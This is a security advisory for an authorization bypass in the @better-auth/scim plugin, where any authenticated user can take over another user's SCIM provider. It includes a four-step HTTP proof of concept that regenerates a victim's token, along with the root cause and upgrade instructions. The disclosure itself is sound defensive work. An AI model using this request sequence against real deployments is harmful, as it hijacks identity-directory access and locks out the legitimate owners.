@better-auth/scim: SCIM Provider Account Takeover via Missing Owner Binding
Any authenticated user can hijack another user's SCIM directory connection by calling the token-regeneration endpoint with a known provider ID, invalidating the legitimate bearer token and gaining…
The problem
The @better-auth/scim plugin (versions 1.5.0 through 1.7.0-beta.3) creates non-organization SCIM provider rows without recording the creator's userId. The access check for management endpoints only blocks access when a stored owner ID is present and differs from the caller.
Because rows are created ownerless by default, the condition is always false and every authenticated user passes the check. This reaches every management operation: provider read, connection listing, token generation and regeneration, and provider deletion.
Proof of concept
A working proof-of-concept for this issue in @better-auth/scim, with the exact payload below.
# Step 1: Alice (victim) creates a non-org SCIM provider
POST /api/auth/scim/generate-token
Cookie: alice-session
Content-Type: application/json
{"providerId": "corp-idp"}
# HTTP 201 - Alice receives a scimToken; provider row has no userId
# Step 2: Bob (attacker) reads Alice's provider metadata
GET /api/auth/scim/get-provider-connection?providerId=corp-idp
Cookie: bob-session
# HTTP 200 - returns provider details with no ownership check
# Step 3: Bob regenerates the token - taking over Alice's provider
POST /api/auth/scim/generate-token
Cookie: bob-session
Content-Type: application/json
{"providerId": "corp-idp"}
# HTTP 201 - Bob receives a new scimToken; Alice's token is now invalid
# Step 4: Bob uses the stolen token against Alice's SCIM API
GET /api/auth/scim/v2/Users
Authorization: Bearer <bob-scimToken>
# HTTP 200 - full SCIM API access on Alice's providerThe root cause is a flawed conditional in the non-organization branch of the access check: if (provider.userId && provider.userId !== userId). When the provider row has no userId (the default), the condition short-circuits to false and the request is allowed for any caller.
The fix in 1.7.0-beta.4 removes the providerOwnership opt-in entirely and makes owner binding mandatory. generateSCIMToken now always writes the caller's userId to the new scimProvider.userId column, and every management endpoint enforces that the caller's session userId matches the stored owner.
CWE-862 (Missing Authorization) and CWE-639 (Authorization Bypass Through User-Controlled Key) both apply: there was no ownership check, and the attacker supplied a known string key (the providerId) to target another user's resource.
The fix
Upgrade to @better-auth/scim@1.7.0-beta.4 (stable 1.7.0 when released). This is a breaking change: the providerOwnership option is removed, the scimProvider.userId column is added to the schema, and owner binding is unconditional. Run npx auth migrate after upgrading.
Provider rows created before the upgrade have no userId and will be inaccessible through management endpoints; reclaim them by setting userId to the intended owner at the database level, then regenerating tokens.
If you must stay on the 1.6.x stable line (which is unpatched), add providerOwnership: { enabled: true } when registering the plugin and run npx auth generate or npx auth migrate to create the userId column. Alternatively, scope all providers to an organization via organizationId, or block the SCIM management endpoints at the edge.
Reported by Jvr2022.
Related research
- high · 8.8Budibase: App-Scoped Builder Privilege Escalation via Public Role Assignment API
- highBudibase Email Change IDOR Allows Full Account Takeover via POST /api/v2/email
- high · 7.1@better-auth/stripe: Cross-Organization Billing Authorization Bypass
- highCVE-2026-65016: n8n SSO Instance-Role Provisioning Privilege Escalation to Instance Owner